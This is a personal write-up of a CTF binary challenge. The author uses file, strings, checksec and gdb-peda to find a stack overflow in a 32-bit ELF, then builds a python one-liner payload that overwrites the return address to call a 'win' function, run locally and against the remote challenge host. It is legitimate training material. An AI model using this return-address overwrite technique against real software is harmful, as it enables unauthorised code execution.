I recently participated in a company CTF. I found I enjoyed the binary challenges the most. I have some experience in IDA and looking through assembly code but it’s very minimal. I found a fantastic online tutorial that really helped me through this challenge. http://codearcana.com/posts/2013/05/28/introduction-to-return-oriented-programming-rop.html. This is in no way a comprehensive guide, more of a brain dump.
Not having much of a framework to go from which would have been useful. I just wanted to document the procedure I took so I could easily reference it later.
First I simply wanted to see what kind of file I was preparing to debug/disassemble.
What kind of file am I working with
$ file re100
re100: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=549e3cf4e1ce9b054be7065cded07c93c59b158a, not stripped
From research I also found that strings is helpful in identifying just that “strings” that are contained within the binary. It found a very peculiar one “overflow” (the strings output is condensed FYI).
Strings output
$ strings re100.
fclose@@GLIBC_2.1
overflow
puts@@GLIBC_2.0
stdin@@GLIBC_2.0
fopen@@GLIBC_2.1
stdout@@GLIBC_2.0
main
I also want to check what kind of security the file may have been compiled with. So NX or non-execute is enabled. Which means that the binary does not allow segments to be executable. http://blog.siphos.be/2011/07/high-level-explanation-on-some-binary-executable-security/
Checksec
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
One tool I was not aware of before this is gdb-peda. It provided very useful as opposed to looking at the output with vanilla gdb. It’s main function is to enhance the display of gdb which does make it easier to view. Especially when you are looking at output for hours. https://github.com/longld/peda
So having a basic idea of what I want to look for when I started debugging. I wanted to test the program itself.
Testing
./re100
Welcome to Return Oriented Programing 101! I am your instructor, Dr. Chain.
Today we will learn how to return to an arbitrary address. Begin!
Input:Hello
…more testing
$ ./re100
Welcome to Return Oriented Programing 101! I am your instructor, Dr. Chain.
Today we will learn how to return to an arbitrary address. Begin!
Input:FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
Segmentation fault
Obviously there is some kind of overflow issue as the program terminates with a segmentation fault. Testing again inside the debugger.
Testing with the debugger
db-peda$ r
Starting program: /home/evan/re100
Welcome to Return Oriented Programing 101! I am your instructor, Dr. Chain.
Today we will learn how to return to an arbitrary address. Begin!
Input:FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x1c
ECX: 0xf7fad89c --> 0x0
EDX: 0xffffd4e0 ('F' , "\n")
ESI: 0xf7fac000 --> 0x1d4d6c
EDI: 0x0
EBP: 0xa4646 ('FF\n')
ESP: 0xffffd510 --> 0x8048832 ("Input:")
EIP: 0x804869f (: mov ebx,DWORD PTR [ebp-0x4])
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048690 : call 0x8048420
0x8048695 : call 0x804860e
0x804869a : mov eax,0x0
=> 0x804869f : mov ebx,DWORD PTR [ebp-0x4]
0x80486a2 : leave
0x80486a3 : ret
0x80486a4: xchg ax,ax
0x80486a6: xchg ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xffffd510 --> 0x8048832 ("Input:")
0004| 0xffffd514 --> 0x0
0008| 0xffffd518 --> 0x804a000 --> 0x8049f14 --> 0x1
0012| 0xffffd51c --> 0x8048702 (<_libc_csu_init+82>: add edi,0x1)
0016| 0xffffd520 --> 0x0
0020| 0xffffd524 --> 0x0
0024| 0xffffd528 --> 0x0
0028| 0xffffd52c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0804869f in main ()
I can see that the input must only allow for a certain number of characters. 42 seemed to be the sweet spot after testing this more than a few times. So based on that I am able to overwrite EBP. Overloading it further I can then look at the registers and see I can overwrite the instruction pointer EIP. At this point I’m still a little lost, but the flow is becoming apparent.
gdb-peda$ i r
eax 0xffffd4e0 0xffffd4e0
ecx 0xf7fad89c 0xf7fad89c
edx 0xffffd4e0 0xffffd4e0
ebx 0x1c 0x1c
esp 0xffffd510 0xffffd510
ebp 0x46464646 0x46464646
esi 0xf7fac000 0xf7fac000
edi 0x0 0x0
eip 0x46464646 0x46464646
eflags 0x10246 [ PF ZF IF RF ]
cs 0x23 0x23
ss 0x2b 0x2b
ds 0x2b 0x2b
es 0x2b 0x2b
fs 0x0 0x0
gs 0x63 0x63
I dug deeper into the binary file and found a function called win, which calls the file flag.txt. Exactly what I’m looking for.
.text:0804859D push ebp
.text:0804859E mov ebp, esp
.text:080485A0 sub esp, 128h
.text:080485A6 mov dword ptr [esp+4], offset modes ; "r"
.text:080485AE mov dword ptr [esp], offset filename ; "flag.txt"
gdb-peda$ disas win
Dump of assembler code for function win:
0x0804859d <+0>: push ebp
0x0804859e <+1>: mov ebp,esp
0x080485a0 <+3>: sub esp,0x128
0x080485a6 <+9>: mov DWORD PTR [esp+0x4],0x8048740
0x080485ae <+17>: mov DWORD PTR [esp],0x8048742
0x080485b5 <+24>: call 0x8048490
0x080485ba <+29>: mov DWORD PTR [ebp-0xc],eax
0x080485bd <+32>: mov eax,DWORD PTR [ebp-0xc]
0x080485c0 <+35>: mov DWORD PTR [esp+0x8],eax
0x080485c4 <+39>: mov DWORD PTR [esp+0x4],0xff
0x080485cc <+47>: lea eax,[ebp-0x10b]
0x080485d2 <+53>: mov DWORD PTR [esp],eax
0x080485d5 <+56>: call 0x8048440
0x080485da <+61>: mov DWORD PTR [esp],0x804874c
0x080485e1 <+68>: call 0x8048460
0x080485e6 <+73>: lea eax,[ebp-0x10b]
0x080485ec <+79>: mov DWORD PTR [esp],eax
0x080485ef <+82>: call 0x8048460
0x080485f4 <+87>: mov eax,DWORD PTR [ebp-0xc]
0x080485f7 <+90>: mov DWORD PTR [esp],eax
0x080485fa <+93>: call 0x8048450
0x080485ff <+98>: mov eax,ds:0x804a060
0x08048604 <+103>: mov DWORD PTR [esp],eax
0x08048607 <+106>: call 0x8048430
0x0804860c <+111>: leave
0x0804860d <+112>: ret
End of assembler dump
Logically I would think 0x0804859d should output what is in flag.txt. So ideally I would like to call the function at 0x0804859d. I just need to work up a payload that will call that address. Looking at the disassembly of the overflow function I can see that the stack is only 0x28 bytes long based on the eax,[ebp-0x28] so it should allow me to overwrite the address on the stack hopefully.
gdb-peda$ disas overflow
Dump of assembler code for function overflow:
0x0804860e <+0>: push ebp
0x0804860f <+1>: mov ebp,esp
0x08048611 <+3>: sub esp,0x38
0x08048614 <+6>: mov eax,ds:0x804a040
0x08048619 <+11>: mov DWORD PTR [esp+0x8],eax
0x0804861d <+15>: mov DWORD PTR [esp+0x4],0x42
0x08048625 <+23>: lea eax,[ebp-0x28]
0x08048628 <+26>: mov DWORD PTR [esp],eax
0x0804862b <+29>: call 0x8048440
0x08048630 <+34>: leave
0x08048631 <+35>: ret
End of assembler dump.
After some more reading, going through the tutorials in the introduction to rop link, and staring at the debugging output for a looooooong while. I was able to craft my payload. Keep in mind this took many attempts to get it correct. A is my string while my overflow is FFFF which then overwrites the return address. Not the most technical explanation I know.
Payload
$ python -c 'print "A" * 0x28 + "FFFF" + "\x9D\x85\x04\x08"' | ./re100
Welcome to Return Oriented Programing 101! I am your instructor, Dr. Chain.
Today we will learn how to return to an arbitrary address. Begin!
Input:Great work, but that was hardly what anyone would consider ROP, here is your reward:
Good Work!
Segmentation fault
$ cat flag.txt
Good Work!
Boom our payload works and we are able to capture the flag. This is completed locally. Now I just need to test it against the remote system.
$ python -c 'print "A" * 0x28 + "FFFF" + "\x9D\x85\x04\x08"' | nc x.x.x.x 8192
Welcome to Return Oriented Programing 101! I am your instructor, Dr. Chain.
Today we will learn how to return to an arbitrary address. Begin!
Input:Great work, but that was hardly what anyone would consider ROP, here is your reward:
ctf{36672de7e20929e1ad892b2cda144acb}
Hooray!